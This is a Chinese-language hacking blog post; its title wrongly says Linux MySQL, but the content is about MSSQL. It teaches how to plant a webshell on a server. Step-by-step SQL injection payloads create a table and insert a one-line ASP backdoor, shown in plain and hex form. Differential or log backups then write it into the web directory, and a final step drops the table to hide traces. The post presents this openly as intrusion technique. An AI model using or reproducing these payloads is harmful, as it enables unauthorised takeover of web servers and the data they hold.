Linux MySQL差異備份技巧

Dus發表於2015-02-19

MSSQL差異備份使用技巧

所謂的差異備份,就是隻備份最近一次備份之後到此次備份之前所增加的那一部分資料。打個比方我第N次備份後資料庫存放的內容是ABCD,然後我第N+1次 備份的時候使用差異備份,此時資料庫的存放的內容是ABCDEFG。那麼我差異備份的結果就是EFG,只備份增加量。都明白了我們就開始講點有用的東西 啦,嘿嘿~~為什麼要用差異備份呢?因為規模點的網站資料庫一般有幾十M甚至,那麼你備份出來的資料就有幾十M,然後你從WEB上開啟個幾十M內容檔案的 話……估計要很久吧。這麼入侵的話我覺得你還是直接拿刀找網管讓他把後臺密碼給你好了。再者我們備份的一句話木馬會受到影響,如果資料庫中存在《或者%之 類的字元的話。可能導致我們小馬無法訪問。還有就是備份那麼大的資料庫可能會導致指令碼操作超時,所以我們得儘量減少我們備份出來的資料庫的大小。

我們來介紹下SQL的備份語句: BACKUP DATABASE (表示你要備份的資料庫名) TO DISK='*'(表示你要備份的資料庫路徑)WITH DIFFERENTIAL(告訴資料庫你要進行差異備份,如果沒有WITHDIFFERENTIAL則進行完整備份) 舉個例子,比如我們知道了WEB伺服器的物理路徑 D:\WEB,伺服器的資料庫名為XXX 那麼如果我們將一個一句話木馬插入資料庫中(後面講到)然後備份資料庫,具體語句如下 BACKUP DATABASE??XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL 注意到D:\WEB\AY.ASP沒有,意思就是說把資料庫備份到WEB目錄下而且資料庫備份檔名為AY.ASP,可喜的是 AY.ASP這個檔案中存在我們的一句話木馬語句,當伺服器遇到ASP字尾名的檔案時會對該檔案進行ASP解析,ASP解析的原則是遇到<%開始解 析,%>結束解析。比如我們向資料庫中插入一句話木馬,這個時候我們插入的資料是新增的資料,然後用差異備份備份一個ASP檔案到WEB目錄下。那 麼這個ASP檔案下就會存在我們的木馬內容了。

?

首先我們需要注入的資料庫型別是MSSQL的,而且這個資料庫的連線許可權必須是DB_OWNER的許可權(一般MSSQL資料庫網站都是這個許可權的)。

先介紹資料庫差異備份的方法:

URL;create table ay(ay1 image)--  
//新建一個名為AY的表 表記憶體在名為AY1的圖象型別的欄位
URL;backup database 資料庫名 to disk='物理路徑' with DIFFERENTIAL--  
//注意,這次備份是要減小資料庫的備份量
URL;insert into ay(ay1) values ('一句話木馬')--  
//向你新建的表中插入一句話木馬內容
URL;backup database 資料庫名 to disk='物理路徑'with DIFFERENTIAL--   
//備份資料庫到WEB目錄下 
URL;drop table ay--  
//刪除表名,清理痕跡

然後是log差異備份的方法:

URL';alter database 資料庫名 set RECOVERY FULL-- 
//(把SQL設定成完全恢復模式)
URL';create table cmd (a image)-- 
//(新建立一個cmd表)
URL';backup log 資料庫名 to disk ='檔案地址' with init -- 
//(減少備份資料的大小)
URL';insert into cmd (a) values ('一句話木馬') -- 
//(插入一句話木馬)
URL';backup log 資料庫名 to disk ='檔案地址' --  
//(備份X志到WEB路徑)
URL';drop table cmd-- 
//(刪除新建的cmd表)

奉上一個asp一句話: <%eval(request("#"))%>

十六進位制形式: 0x3C256576616C2872657175657374282223222929253E

相關文章